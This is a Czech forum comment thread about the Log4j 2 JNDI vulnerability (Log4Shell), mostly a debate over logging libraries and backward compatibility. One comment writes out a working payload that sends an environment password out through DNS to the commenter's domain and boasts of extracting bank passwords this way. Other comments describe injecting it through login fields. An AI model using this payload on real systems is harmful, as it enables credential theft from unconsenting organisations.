Další detaily: https://www.lunasec.io/docs/blog/log4j-zero-day/
10. 12. 2021, 11:56 editováno autorem komentáře
Clovek si uz fakt nemuze byt jistej co se tyce der v SW nicim, ani FW pro logovani...
Přesnější by bylo napsat, že zranitelnost se týká knihovny log4j 2. Původní knihovny log4j se netýká – a log4j 2 je tak výrazný upgrade, že je to považováno za novou knihovnu a je zvykem ji explicitně označovat tou dvojkou.
Apache Struts 2 nebo Apache Solr opravdu používají tu knihovnu log4j 2, ale spousta staršího softwaru bude používat původní log4j (1.x), která zranitelná není.
tady se už vynořují první ukázkové útoky https://github.com/YfryTchsGD/Log4jAttackSurface, verze javy v tom očividně nehraje velký význam
Tohle se podle mne týká jenom útoku přes LDAP, což je podle mne nějaký velmi okrajový případ a je docela nešťastné, že to v tom oznámení vůbec zmiňují. Pravděpodobně je to proto, že přes LDAP na tu chybu přišli – vypadá to, že autoři nepochází ze světa Javy, protože také celou dobu píšou o knihovně log4j a ne log4j 2, což je pro lidi, kteří se okolo Javy pohybují, dost matoucí.
10. 12. 2021, 17:44 editováno autorem komentáře
log4j 1.x je už EOL, už trochu vousaté a také obsahuje řadu RCE, např. CVE-2019-17571, takže to výhra není, ale také používáme.
Podle mě to označují správně, artefactId je log4j a před 2.15 neexistuje udržovaná verze, která by nebyla zranitelná.
Ten ldap tam je nejspíš kvůli tomu, že zranitelnost se objevila ve spojení s com.sun.jndi.rmi.object.trustURLCodebase a to je věc, kterou ldap používá. Věřím ale, že těch možností postupně se objeví více. Zatím jsem nezkoumal, primárně jsme testovali produkce a záplatovali.
10. 12. 2021, 19:14 editováno autorem komentáře
Sami autoři to označují jako Log4j 2 – ta dvojka ale označuje verzi, proto není součástí artifactId ale až čísla verze. A když to chcete brát podle Maven repo, verze 1.x měla jiné groupId. Z log4j 1.x se přecházelo hlavně na Logback, a pokud to někdo neřešil, zůstal u log4j 1.x. Vlastně mne teď překvapilo, kolik projektů Log4j 2 používá
už vidím co tam dělá ldap. Třída JNDI umožňuje použít rmi nebo ldap, takže zranitelnost je hlavně právě s využitím těhle protokolů. Rmi je pandořina skříňka, to je děsivá funkce.
Vstup do log tříd může být odkudkoliv, nelze tedy snadno filtrovat na FW. Stejně tak cíl útoku může být jakýkoliv, takže izolace na FW je jen částečné řešení. My jsme zatím provedli násilné nahrazení artefaktu log4j-core v aplikacích a překompilování chvilku bude trvat.
Nechme dohady o verzi stranou, nezáleží na tom tolik, log4j2 je popisnější, ale nevynucoval bych ho.
Zkontroloval jsem svoje dva aktivní projekty, oba používají log4j 1.2.x, takže za mě cajk :-)
A proč používáte obludku a ne něco menšího, třeba Jetty? Nebo Micronaut+Netty?
Jednotný jazyk pro BE a FE je podle mne podle mne k ničemu. Mnohem větší rozdíl mezi BE a FE je v architektuře, v principech fungování. Jestli se použije stejný nebo jiný jazyk je jenom nepodstatný detail.
Dělejte, jak myslíte. Ale myslím, že přecházíte k horší technologii.
Když jsem byl mladý, tak jsem měl taky jasné názory, že tohle je super a tohle je hnůj. Časem jsem ale poznal, že technologie jsou nástroj a jde o to, vybrat správnou technologii / nástroj pro daný účel.
Jistě jsou situace, kde je Java lepší. Třeba paralelní thready nad sdílenou pamětí. Možná raw výpočetní výkon. Ale tady nic z toho nepotřebuju, tohle je jednoduchý, nepříliš zatížený REST server nad malou DB s nějakými dvaceti endpointy. Tam Java sama o sobě moc výhod nepřinese. Naopak mi přinese výhodu, že to bude v technologii, kterou aktivně používám a ne takové, kterou jsem víceméně opustil před čtyřmi lety. Plus Typescript je za mě pružnější a příjemnější jazyk, než Java.
Ona obludka je celé J2EE.
Pokud už používáte technologie pro přístup k (předpokládám) relační databázi z TypeScriptu a pro vytváření REST endpointů, můžu se zeptat jaké technologie to jsou? S jakou knihovnou pro přístup k PostgreSQL nebo MySQL máte dobrou zkušenost? S jakou knihovnou pro REST kontroler?
J2EE nemusíte používat. Dneska existují věci jako Micronaut, ve kterém to, co jste popisoval, napíšete za chvilku, a server vám nastartuje za půl vteřiny. Proti tomu je obludka Node.js :-)
Teď jsem dokončil jeden malý hobby projekt, který pro REST endpointy používá API infrastrukturu poskytovanou Next.JS (který poskytuje i server side rendering pro frontend). Jako databáze je tam SQLite 3. Pro malý hobby projekt dostačující a umí "zadarmo" i in-memory mód, který se báječně hodí pro automatické testy.
Jinak se REST endpointy dají konfigurovat normálně přes Express rozhraní. K SQL serveru jsem se z Node.JS ještě nepřipojoval, koukám, že existuje třeba https://www.npmjs.com/package/postgresql-client a vypadá použitelně, ale reálnou zkušenost nemám.
Za odkaz na Mikronaut děkuji, kdybych někdy chtěl optimalizovat ten větší projekt, tak bych se na něj určitě mrknul.
Next.js pokud vím poskytuje jenom mapování URL, validace nebo dokumentace se musí řešit ještě jinak.
Pořád mi ta výhoda jednoho jazyka připadá jako nedůležitá maličkost ve srovnání se vším ostatním, co je potřeba umět pro psaní backendu nebo frontendu. Ale možná je to tím, že celý svůj profesní život přecházím mezi webovým frontendem a javovým backendem, takže mi přepínání mezi Javou a JavaScriptem nevadí (teda až na ty arrow operátory, to je snad za trest).
> validace nebo dokumentace se musí řešit ještě jinak.
Ano, například GraphQL jako v tom mém zmiňovaném projektu.
> Pořád mi ta výhoda jednoho jazyka připadá jako nedůležitá maličkost...
To je opravdu podle projektu. Když budu mít nějaký velký systém, kde každou komponentu dělá dedikovaný tým X lidí, tak tam stejný jazyk opravdu (relativně) velkou výhodu nepřináší.
Na mém projektu nejde ani tak o přepínání, ale o to, že v Javě (už) skoro nedělám a v TS píšu mnohem rychleji.
To nejak nechapu. Pokud nekdo zverejni 0day chybu jak vrata tak se to musi resit okamzite. To na zadnem scanu nezavisi.
Najiti teto chyby vyzaduje cloveka pravda mozna s podporou nastroju
Co se tyce inventory tak tam clovek jen hodi verze a vyhodi mu to jak ma infrastrukturu postizenou.
Zverejneni v patek je pekna zhovadilost. Kolik adminu je pres vikend vzhuru? Ctvrtek bych jeste bral.
Samozrejme uz mame cely korporat pod pokusy utoku. Noc bude dlouha a rano taky. No riziko povolani.
Presne. Board vzhuru a pokusy o utoky i vsude po svete. Jeste ted mam kruhy pod ocima z organizace nasranych lidi po celem svete. Asi jsem se mel hur ucit a delat neco jako agile coach ci jine zbytecne povolani ktere toto nema.
Dokonce je na nohou i management datacenter kvuli internim nastrojum pouzivajicim log4j. Fakt casovani perfektni.
Tohle udela securitak asocial ktery ty incidenty nevidi v souvislositech provozu. A jen tunelove videni.
BTW: Mezitim mi pise pani z HR kdy uz si konecne vyberu dovolenou. Uz neni sila byt diplomaticky. Kdybych ji odpovedel asi by to ode mne chudak ted docela schytala.
Takze to nebude take horuce:
- Exploit funguje iba na starsich verziach Javy
- Funguje cez log4j, ak este nepouzivate slf4j tak toto je asi dobry dovod na prechod aj ked uz je patch
- vyzaduje aby server mal pristup na internet, neviem ako mate nekonfigurovane produkcne servre ale vsetky nase maju pristup na potrebne sluzby takze DB, interny LDAP, ... ziadne genericke moznosti pripojenia inam a uz vobec nic von a ak ano tak iba na specificke servre (NBS).
to není pravda, funguje i na nejnovější javě, od U121 je pouze částečná obrana proti RMI a vzdálenému načtení kódu, nikoliv proti úniku dat.
Nepotřebuje přístup k internetu. Mám k dispozici obrovské množství informací, které i bez internetu mohu vytáhnout z produkčního prostředí (sys property, env). Tenhle kouzelný string mi teď prozradil několik hesel v jedné z největších českých bank ${jndi:ldap://${env:ORA_PASSWORD}.mojedomena.cz, jak to postupně prošlo několika systémy, stačilo si je přečíst z DNS logu.
Není ani potřeba mít k funkční ldap, není ani potřeba aby servery byly na internetu, projde to zkrz firewall a i IPS. Stačí pouze, aby server měl k dispozici DNS resolver, což je dnes běžné. Nelze to jednoduše detekovat na edchozí komunikaci, na příchozí jen obtížně protože daný string může vzniknout i kombinací více údajů, je to o nápaditosti útočníka.
Ta chyba má oprávně score 10/10, jedná se opravdu o kardinální problém i pro doteď bezpečné prostředí.
11. 12. 2021, 10:01 editováno autorem komentáře
to, že zrovna ty nejsi zranitelný asi není tak podstatné, důležité je, že ta chyba je využitelná napříč celým sektorem, to se tě týká přímo i nepřímo.
Takže na serverech nemáte vůbec dns resolver? To je trochu netradiční řešení, přicházíte tím o jednodnouchou kontrolu nad DNS provozem, obchází dnssec, chybí pak data pro SIEM a IDS/IPS, což jsou zrovna důležité údaje. Naopak v kritické infrastruktuře začíná být zvykem hosts file deaktivovat úplně, jsou to zadní vrátka.
Samozrejme pouzitelne to je. Kedze uz vdaka novej JDK neviete aspon spustit cudzi kod tak sa mozete popozeral po environmente. Prave som pozeral co za obludnost to tam pridali. Ak ma niekto zaujem tu je popis (https://logging.apache.org/log4j/2.x/manual/lookups.html). Osobne neviem co ich to napadlo pri logovacom frameworku od ktoreho ocakavam MAX rychlost robit ako side efekt nejake pripojenia na LDAP, RMI, ...?!?!?
Osobne log4j neznasam, vzdy to bol problem nastavit, problemy s classloadrami plus sa to vzdy pobilo so standardnym log4j v nejakom servri vzdy inac (Weblogic, Tomcat, ...).
> Takže na serverech nemáte vůbec dns resolver?
Neviem na co by bol serveru DNS resolver? 50% nasich instalacii pouziva dokonca priamo IP adresy. Mame asi trochu paranoidneho admina a ani na cleartextove heslo ORA_... by ste nenarazil.
také jsem koukal na tu dokumentace a překvapilo mě, že to tam takhle je, mám rád unix myšlenku, jednoduché nástroje, krátký a přehledný kód, tenhle java svět s desítkami tisíc řádků a obrovským množstvím funkci mi nesedí. Blbé je, že jsme o téhle funkci nevěděli.
DNS resolver ti většinou na pozadí předá DHCP server (či obdobná věc v ipv6), bez dns nefungují TLS certifikáty (variantu certifikátů na IP adresu jsme tady měli dříve a je to nebezpečné), IP adresu můžeš v interní síti snadno podvrhout a zneužít, to už tady bylo 20 let zpátky, není to bezpečné držet bezpečnost pouze na IP síti. Paranoidní admin by neměl vymýšlet kolo, ale držet se ověřenýcg postupů.
Tohle řešení opravdu miluju. Pak je potřeba integrovat něco zvenku a někdo si myslí, že to bude mít pořád stejnou IP. Ono to měsíc funguje a pak to najednou přestane. Zažil jsem to 2x a vždy se to muselo nahradit DNS . To že to není v dnešní době s cloudem, IPv4 a IPv6 moc použitelné o tom ani nemluvím. Většinou není důvodem takového řešení bezpečnost ale to, že je to snadné a nemusí se nikdo učit jak to dělat v DNS serveru.
Exploit funguje iba na starsich verziach Javy
Chyba je ale všude. A když máte přístup ke zdrojákům aplikace, nebude tak těžké vytvořit exploit na jinou aplikaci.
Funguje cez log4j, ak este nepouzivate slf4j tak toto je asi dobry dovod na prechod aj ked uz je patch
Chyba je v Log4j 2, které je novější než slf4j. Také se tváří, že je modernější, ovšem za cenu, že jsou tam možné takovéhle chyby. „Přechod“ z API pro Log4j 2 na API slf4j znamená upravit všechna použití loggeru.
vyzaduje aby server mal pristup na internet
Na to jste přišel jak?
11. 12. 2021, 10:08 editováno autorem komentáře
Když použijete Log4j 2 API a za ním nějakou jinou logovací knihovnu, téhle zranitelnosti se vyhnete? A jiným zranitelnostem v Log4j 2?
Mimochodem, pokud je API součástí knihovny, která ho zároveň implementuje, je to vždycky problém. Vždycky to skončí tvrdou závislostí na té implementaci. To API je jenom takové lákadlo, aby to vypadalo, že kdykoli můžete přejít jinam – ale reálně to nefunguje.
Log4j 2 API je opravdu jenom API a záleží na implementaci. Můj typ je, že bridge do slf4j tímhle netrpí. Žádná tvrdá závislost tam není. A reálné díky bridge do slf4j to funguje a můžete používat i jiné logovaci knihovny což je důvod proč ten bridge existuje.
To API vzniklo v době kdy slf4j bylo opravdu zastaralé API bez podpory Java 8 resp. lazy evaluation. Nevim jak na tom je teď ale co si pamatuji tak slf4j bylo opravdu zastaralé a moc se na něm nic nevyvíjelo.
Ono to znamená posunout kompatibilitu až na Javu 8, což je podle mne zásadnější. Je potřeba si uvědomit, že největší přínos logovacího API je tehdy, když ho používají všechny komponenty napříč projektem, tedy i použité knihovny. Můžete mít aplikaci psanou pro Javu 17, ale pořád v ní může být knihovna, která se snaží držet kompatibilitu třeba ještě s Javou 6.
Poslední alfa verze slf4j vyšla letos na konci srpna. To nevypadá jako mrtvý projekt. Taky mi to připadá zdlouhavé, ale když je alternativou RCE…
Nemyslím si, že by všichni chtěli používat Log4j 2 – ne každý chce mít ve své aplikaci RCE. A jak už jsem psal, to, že je teď v Log4j 2 RCE je svým způsobem hloupá náhoda, ale přístup autorů Log4j 2 k tomu podle mne nahrává. To, že opravu vydali jenom v nové minor verzi to jenom podporuje.
Nezlobte se na mě držet podporu pro Java 6 je už v dnešní době úplně mimo jakýkoliv rozumný argument. Proč zrovna Java 6 a ne 5 nebo dokonce 1? Java 8 tu s námi bude již 8 let to je dostatečná doba na migraci. Java 6 je už skoro 10 nepodporovaná a 15let stará. Chcete si hrát na bezpečnost a používát něco tak starého? Navíc 2-3 roky mít alfa vypovídá akorát o tom, že ten projekt pomalu umírá.
Byl to příklad. Klidně to může být Java 5. Pokud nějaká knihovna takovou podporu drží, asi nebude chtít posouvat minimální verzi jenom kvůli logovacímu API. Třeba Hibernate ukončil podporu Javy 6 v roce 2018, Spring teprve loni. Čím níž vaše knihovna je, tím déle je potřeba držet zpětnou kompatibilitu.
Tak 2022 a 2018 jsou čtyři roky. A je velký rozdíl mezi pouhou podporou a nejnovější stabilní verzí a ta třeba u Spring je pro Java 8 od verze 5 z roku 2017 loni se ukončila podpora verze 4. Takže míchate jablka a hrušky. Tohle je taky často argument těch zastaralých knihoven, že chtějí mít podporu pro staré verze Java, ale toho lze docílit i tím že se vydá nová verze a do staré se dělají pouze nutné security opravy. Navíc dnes se jedná opravdu o procenta co nepoužívají aspoň Java 8, což je naprosto zanedbatelné a asi jim bude bezpečnost naprosto ukradená tak mohou používat starou verzi.
Já asi stále nechápu co máte za problém. Mám API A to je dané v knihovně L, kterou používám. A pokud do API přidám B a nechám tam A tak knihovně L to je úplně jedno. To, že za API používáte implementaci co umí A i B je knihovně L úplně jedno, protože ta využívá jenom A. Knihovna klidně může být přeložená se starým API a běžet s novější verzí a taky se to tak normálně dělá. To že existuje implementace, které neumí i B vás přece nezajímá protože pak nebudete používát API s A i B ale jenom staré A, když nemáte novou implementaci. Rozšíření slf4j2 o lazy evaluation mohlo být uděláno snadno povýšením verze Java a přidáním metod jako je např.:
void debug(String message, Supplier<?>... paramSuppliers)
nebo si mohli vytvořit klidně vlastní interface a nemuseli ani přejít na Java 8, ale neudělalo se tam nic, protože to API pomalu umírá, tady se vůbec nemůžeme bavit, že jsou konzervativní.
A ještě drobnost o tom, že API a implementace by měli být oddělené, tak to v tom případě nesplňuje i slf4j protože logback. Je to to samé jako log4j-api a log4j-core.
12. 12. 2021, 14:20 editováno autorem komentáře
Taková změna API ovšem znamená, že ten, kdo to API implementuje, musí začít podporovat nové API. Staré implementace totiž už proti novému API nezkompilujete. Nebo ty implementace musejí začít vydávat dvě různé verze, jednu pro nové API a druhou pro staré API.
Doporučuju k přečtení Practical API Design od Jardy Tulacha. Zpětná kompatibilita API zdaleka neznamená jenom to, že nemůžu na rozhraní odstranit nebo změnit nějakou metodu.
Slf4j a Logback není to samé. Jsou to dva různé projekty, s různým názvem, různým groupId, verze se vydávají nezávisle na sobě.
Zajímalo by mne, kolik zbytečných poplachů bylo v souvislosti s touhle chybou tam, kde používají jen Log4j 2 API a jinou implementaci logování. Než se dohodli, že když mluví o Log4j 2, mluví jen o API a ne implementaci a tudíž se jich chyba netýká…
Wow to je teda opravdu překvapení že s novým API nelze použít nějakou prastarou implementaci. A hlavně proč bych to proboha dělal? Překvapivě buď budu chtít používat nové API a s ním tedy i novou implementaci nebo mi stačí staré API. Tohle přece nemá ani hlavu ani patu a snad to ani nemyslíte vážně. Ale pokud nějaká knihovna má staré API a to API bude zpětně kompatibilní, tak je úplně jedno, že budu mít novější implementaci.
K slf4j logback, to je naprosto nepodstatný detail. A argumentovat různým groupId je trochu mimo i na vás, to je stejný argument jako, že mají stejné stránky.
Těch případů kdy někdo používá API a ne log4j 2 jako implementaci je naprosté minimum a asi to budou vědět proč to tak dělají. Jak už jsem psal nevidím v dnešní době jediný důvod proč nepoužívat log4j 2 a to, že se tam našla taková chyba, tak co stane se. Snadná oprava existuje a alespoň se poučí pro příště, případně se udělá hlubší analýza co tam je. Jestli si někdo myslí, že teď proběhne nějaká velká migrace na něco jiného, tak je blázen.
To, že se tam našla taková chyba, plyne z toho, co je pro autory Log4j 2 důležité a proč ho chválíte. To, že taková chyba je v Log4j 2 a ne v Logbacku není náhoda. Velkou migraci také nečekám, ale je to další důvod, proč nepřecházet na Log4j 2 a počkat si na další verzi Logbacku. Shodou okolností jsem se den předtím díval a rozdíly mezi Log4j 2 API a slf4j. Autoři Log4j 2 vyjmenovávají 5 rozdílů, z nichž u dvou jsem si říkal, že to je špatné a nebezpečné, u dvou jsem si kladl otázku, k čemu je to dobré, a u lambd jsem si říkal, že to je pěkná drobnost, která se ale dá v případě potřeby snadno obejít. V pátek se pak ukázalo, že to s tou bezpečností je ještě horší, než jsem si myslel.
Tohle porovnání je hned na úvodní stránce Log4j 2 v části API Separation.
Nesmysl jedna chyba neznamená totální děravost stejně jako, že se nic v logbacku neobjevilo do teď neznamená, že tam nic není. A nejde o podporu lambd, ale o to, že to api nemá nic jako Supplier. Pro mě to třeba není drobnost a obejít jde všechno, ale proč bych měl něco tak základního obcházet v něčem tak zásadním jako logovací API. A budu to opakovat ještě jednou Java 8 tu s námi bude 8 let času na update bylo dost. U toho, že tam jsou další zranitelnosti tak je to jenom konstrukt ve vaší hlavě nemáte, žádný důkaz, že tam něco dalšího je.
Ta jedna chyba je ovšem jenom projevem chybného přístupu. Chyba je to, že někoho vůbec napadne v logovací knihovně nějak interpretovat uživatelská data a interpretovat formátovací string jakkoli komplikovaněji, než aby se tam jen co nejjednodušeji dosadily hodnoty.
Supplier je lambda. A má to mimochodem stejné riziko – že se teprve při samotném logování spustí nějaký kód, který může selhat. Proto je potřeba něco takového používat jenom velmi výjimečně a nevadí v takovém případě přidat ten jeden if.
Opakovat to nemusíte. To, že ignorujete zpětnou kompatibilitu, je vaše věc, ale jiní ji neignorují. Vy se na to díváte z pohledu své aplikace, autoři knihoven se na zpětnou kompatibilitu musí dívat jinak. Reálně se provozují i aplikace napsané v Javě 5 i starší. To, že vy nemáte přístup k bezpečnostním aktualizacím takhle starých JDK, neznamená, že k nim nemá přístup nikdo – Oracle to pro platící zákazníky stále udržuje.
Zapomínáte na to, že v té lambdě může být úplně jakýkoli kód. To, aby tam byl kód, který jenom něco přečte a nic nezmění, je jenom zbožné přání. Třeba u ORM nástrojů může čtení dat odpálit zápis do databáze – kdo to domyslí, když bude psát nějaké logování na úrovni debug? Už jsem viděl aplikace, které po změně úrovně logování přestaly fungovat, protože logovací kód měl vedlejší efekt.
Neříkám, že lambdy v logovací knihovně vůbec podporované být nemají. Ale je potřeba vědět, že je to mnohem nebezpečnější nástroj, než to vypadá. Pochybuju o tom, že někdo spouští automatizované testy s různými úrovněmi logování, případně s různým nastavením logovacích filtrů.
Tak pokud udelas tohle, tak si nepomuzes ani s ifem.
Samozřejmě, to jsem také nikde netvrdil. Ale ten if už je takové varování, že se tam toho možná dělá víc, než jenom pouhé logování – proto tam přece ten if je, aby se to nedělalo v případě, kdy to není potřeba. Lambda vypadá víc jako běžný kód (proto se také do Javy zaváděly), takže víc hrozí, že si toho někdo nevšimne, nebo že bude z důvodu „optimalizace“ cpát lambdy do všech logovacích příkazů.
Pokud to někdo tak nutně potřeboval, mohl si vytvořit svůj helper (podobně jako se to dříve dělalo s metodami s volitelným počtem parametrů).
Supplier není lambda, a myslím, že to dobře víte, je to interface. Pokud používáte Java < 8 tak stále můžete místo lambdy použít anonymous inner class. A úplně stejný problém máte s if tak nevím co to tady zase píšete za nesmysli.
Ještě jednou, protože jste možná málo chápavý a proto to zase musím opakovat: To, že se něco nerozvíjí neznamená, že drží zpětnou kompatibilitu. Většina knihoven tu zpětnou kompatibilitu s Java < 8 dávno ignoruje. Apache Commons, JUnit, Spring, Jackson, Micronaut atp. všichni již dávno přešli na Java 8, takže všichni podle vás ignorují zpětnou kompatibilitu? A slf4j 2.0 bude tedy taky ignorovat zpětnou kompatibilitu ve vašem vesmíru nebo to bude jak? Laskavě si nechte pohádku o zpětné kompatibilitě pro někoho jiného, sám dobře víte, že to není pravda.
Pokud někdo používá Java 5, tak je mu asi novější logovací knihovna úplně k ničemu. Proč jste nepřišel s Java 1.4, kterou slf4j již nepodporuje, jak si to vůbec můžou dovolit to ignorovat?
Supplier je rozhraní z Javy 8, ve starších verzích není – takže když ho bude vyžadovat nějaká metoda jako parametr, na starší Javě takovou metodu nespustíte. Že jsou lambdy jen syntaktický cukr pro anonymní vnitřní třídy ví snad každý. A vzhledem k tomu, že nikdo neměl potřebu používat dříve anonymní vnitřní třídy pro logování, lze se bez nich obejít i dnes.
Nemusíte se opakovat. Já chápu, co píšete. Akorát vy zřejmě nechápete, že knihovny – a zejména takové, které jsou úplně vespod hierarchie a jsou používány jinými knihovnami – musí ke zpětné kompatibilitě přistupovat jinak.
Apache Commons není žádná knihovna, je to skupina různých knihoven, které se vydávají nezávisle na sobě a mnohé zamrzly v době Javy 1.4. JUnit vydal zcela novou generaci, která má jako minimum Javu 8. Vedle toho je ale stále udržována verze JUnit 4, která se pořád dost používá, a ta drží kompatibilitu s Javou 5. Spring držel kompatibilitu s Javou 6 ve verzi 4.3 do konce roku 2020. Micronaut nikdy nic staršího než Java 8 nepodporoval.
Ale myslím, že nemá smysl se dál dohadovat, vy nepřesvědčíte mne, já nepřesvědčím vás. Myslím, že po uplynulém víkendu si spousta lidí rozmyslí, jestli chtějí používat logovací framework, který má co nejvíc cool fíčur, nebo jestli chtějí raději takový, který jenom loguje a nesnaží se dělat nic jiného.
Možná příště zkuste uvést příklady, která nepotvrzují má tvrzení, ale ta vaše.
Jo škoda, že nejde místo Supplier použít jiný interface ohh wait:
public interface MessageSupplier {
Message get();
}
jak jenom to v tom log4j 2 dokázali? Škoda, že návrh Javy a lambd neumožňuje používat nic jiného než interfaces z java.util.function, hmm oni na to ale vlastně mysleli, takže stačí mít vlastní interface s jednou metodou. Až na to, že to usnadní život všem co to API používají na novější Java než vaší 5, ale to je pro vás asi naprosto nepodstatný detail. Jako tvrdit, že když to nikdo nepotřeboval dřív, tak to nepotřebuje i dnes je dost slabé i na vás. Taky nepotřebujete kolo nebo oheň?
Opět to musím opakovat, ale to že se něco nerozvíjí neznamená, že udržuje zpětnou kompatibilitu.
Vzal jsem příklady jenom těch nejpoužívanějších knihoven co mě napadli. Můžete si dosadit co chcete a většina těch nejpoužívanějších již nebude podporovat Java 8. Pořád mícháte jablka a hrušky to, že někdo dělá podporu pro starou verzi není to samé, že se nerozvíjí a v nové verzi má podporu jenom pro Java >=8. Takhle to stejně mohl udělat slf4j, ale místo toho je již několik let v komatu a kdo ví jestli se z něho vůbec probere navíc ty co chtěli něco novějšího s lepším API a víc funkcemi již používají log4j 2.
Já vám dodal několik tvrzení, která ta vaše naprosto vyvrací zatímco vy jste tady pouze fabuloval pouze se zpětnou kompatibilitou polomrtvého projektu a nějakým údajným nebezpečím, které je ve vaší hlavě a nedokázal jste ho za celý víkend předložit.
Saljack: Já jsem si celou dobu myslel, že vám jde o podporu lambd, tedy o ten syntaktický cukr. Pokud vám jde jen o lazy získávání hodnoty do logovací zprávy a překousnete anonymní vnitřní třídu, pak vám stačí přetížit metodu toString()
a máte hotovo. K tomu nepotřebujete žádný Supplier
ani jiné rozhraní. Hledáte problémy kde nejsou.
Tak příště raději nemyslete a přečtěte si co píšu. Za variantu přetížení toString v anonymní vnitřní třídě bych vám nejraději ruce urazil, ale doufám, že ani vy takovéhle věci nepraktikujete. Máme tady velmi účinný nástroj, který celý kód zpřehlední a je i <b>zpětně kompatibilní</b> a vy obhajujete polomrtví projekt, který se není 8 let schopný adaptovat. Ono se stačí podívat kolik projektů ještě v dnešní době používá log4j 1.2, která má podobné zranitelnosti.
V čem přesně je ten rozdíl, že anonymní vnitřní třída s implementovanou metodou get()
je úžasné řešení, ale když se ta metoda bude jmenovat toString()
, je to na uražení rukou?
Jak jsem psal, tohle zpřehledňování kódu je podle mne dvousečná zbraň. Nemám rád, když kód, který může být nebezpečný a měl by se používat jen ve speciálních případech (je to klasická předčasná optimalizace) najednou vypadá nevinně a snadno se přehlédne.
Třeba protože to je tricky a pak přijde nějaký chudák a bude si lámat hlavu nad tím jaký expert tam tuhle věc a proč vymyslel, navíc u tak základní věci jako logování. U kterého by mělo být použití jednoduché na první pohled. Navíc vám to neumožní použít ten syntactic sugar lambdu a tedy to nic neřeší kromě toho, že jste vymyslel rovnák na ohýbák, jenom proto, že se API nestihlo během 8 let rozvinout a poskytnout jednoduchou přehlednou možnost jak to udělat.
Kdo tady mluví o předčasné optimalizaci? Co když to chce někdo udělat později jako opravdovou optimalizaci, tak má mít smůlu? Jak může ten kód být nebezpečný? Je to úplně to samé jako když uděláte if. Klidně si můžete udělat test (stejně jako u toho if), který to pokryje, brání vám v tom snad někdo?
Vymýšlíte si tady úplné nesmysly a hledáte problémy, kde žádné nejsou. Když už, tak slf4j 2 podporuje Supplier také (zatím jenom v hnusném fluent API). Předpokládám, že to tedy nikde nepoužijete, když jste tak zásadně proti tomu aby se neporušila zpětná kompatibilita a dereference evaluation je podle vás tak nebezpečná.
14. 12. 2021, 13:35 editováno autorem komentáře
Funguje to. Máme knihovnu, která loguje do Log4j 2 ale používáme
Logback a SLF4j. Přidali jsme jar, který LOG4j 2 api překládá do slf4j api, aby ta knihovna logovala do stejného souboru a ne na std output.
U jiného projektu jsem začal dělat upgrade z log4j 1 na log4j 2. Docela dobý.
Moc se mi líbí, že můžu napsat
LOG.debug( () -> createMessage(param1, param2) )
a pokud není zapnutý debug level, tak se nic nestane
Myslím, že jeden důvod je třeba to, o čem je tahle zprávička. A ono to není jen o této jedné konkrétní chybě, ale o přístupu autorů – slf4j je konzervativní a úzkostlivě dbá na to, aby se něco nerozbilo. Takže se nepřidávají nové funkce jenom proto, že je to cool.
slf4j tu chybu umí řešit alespoň tak, že můžete bez rekompilace změnit logovací knihovnu za jinou, která takovou známou zranitelností v tuto chvíli netrpí. Pokud používáte Log4j 2 API, pak máte v tuto chvíli jedinou možnost – přejít na RC2 verzi. Což je opravdu super řešení. Jinde se řeší, že se na serverech nemá přecházet ani na nové patch verze a místo toho se backportují opravy, a tady je najednou v pořádku přejít na RC verzi nové minor verze.
Navíc slf4j řeší parametrizované zprávy samo, takže je možné, že můstek mezi slf4j a Log4j 2 ten útok buď vůbec neumožní, nebo by byl možný jenom v nějakých velmi specifických případech.
> „Přechod“ z API pro Log4j 2 na API slf4j znamená upravit všechna použití loggeru.
Co sa da v pripade log4j vyriesit sed scriptom pripadne bridgom (http://www.slf4j.org/legacy.html)
> vyzaduje aby server mal pristup na internet ...Na to jste přišel jak?
Ako si predstavujete utok bez toho aby sa ten server niekam von pripojil?
sed scriptom
Upravovat zdrojové kódy sedem mi připadá jako hodně špatný nápad.
Ako si predstavujete utok bez toho aby sa ten server niekam von pripojil?
Za prvé si pod „přístup na internet“ představuji to, že můžu alespoň zevnitř navazovat spojení ven na většinu adres aspoň běžnými protokoly jako HTTP(S), případně SSH, funguje DNS. Zkuste dát někomu možnost jenom překládat DNS a pochybuju, že o tom bude říkat, že má přístup na internet.
Za druhé, třeba takové SQL injection útoky umožňují neoprávněně manipulovat s daty (třeba smazat celou DB) nebo neoprávněně číst data – třeba tak, že vám je server vysype do webové stránky, kterou vám servíruje. A to byl jenom jeden příklad útoku, který nepotřebuje, aby se server připojoval někam do internetu.
je to pandořina skříňka, nepotřebuji mít přístup k službě, na kterou útočím, stačí jí donutit zalogovat můj string. To otevírá netušené možnosti, aplikace rádi ověřují vstup (logicky) a rádi chybný vstup logují, občas se loguje i ten správný vstup (např. u SAPu jsem teď ověřil, že to stačí jen zadat jako přihlašovací jméno).
Tohle možná zatřese poměrně dost java světem. Člověk by řekl, že u opensource stačil překompilovat, teď ale vidím kolik projektů na githubu není možné kompilovat ve starší verzi kvůli chybějícím balíčkům ve veřejným repositářích. Migrace na novější verzi zase nelze udělat obratem. Málokdo má např. cachující nexusu, aby měl lokální kopie.
Momentalne sme dokazali ze sa da citat ENV servera. OK, co dalej s tym viete urobit? Ja si myslim ze sa tym neda nic upravit ani zmenit a nic okrem ENV kam ma pristup ten Java server ani precitat (napriklad obsah DB). Takze poprosim o popis AKO by to malo prebiehat.
SQL Injection je uplne kapitola. Osobne si myslim ze tato chyba je dost neprijemna ale aj s tym ORA heslom vela nezmozete pokial tam neviete spustit vlastny kod.
největší antipatern v bezpečnosti je “ukažte mi jak to zneužijete”. Útočníci jsou zpravidla daleko zkušenější a nápaditější než většina běžných adminů, programátorů. Abych dokázal posoudit nebezpečnost, nepotřebuji zároveň to umět i zneužít, to bych takhle nic nezabezpečil.
Nejen env, ale i jakoukoliv sys property nebo obsah souborů v classpath. Dají se takhle získat hesla, přístupové údaje, klíče, nastavení. Pro to, abych to mohl zneužít se potřebuju samozřejmě dostat do sítě, ale na to stačí např. získat přístup na stanici zaměstnance a to také není scifi.
těch pár ale stačí, exploit se prodá ne černém trhu a pak to jede. Špinavou práci dělají roboti.
Řetěz drobných zranitelností může vést k průniku do systému, ikdyž jednotlivá zranitelnost vypadá povrchně. Tohle dostalo score 10, řadí se to mezi nejzásadnější zranitelnosti, podle mě to aspiruje na letošní top. Proč si myslíš, že získaní hesla do DB je nic a nedá se k ničemu zneužít?
Ale ma pretoze JVM od 2019 neumoznuje spustit kod stiahnuty cez URL (vratane JNDI) takzse sa da pouzit iba na citanie prostredia.
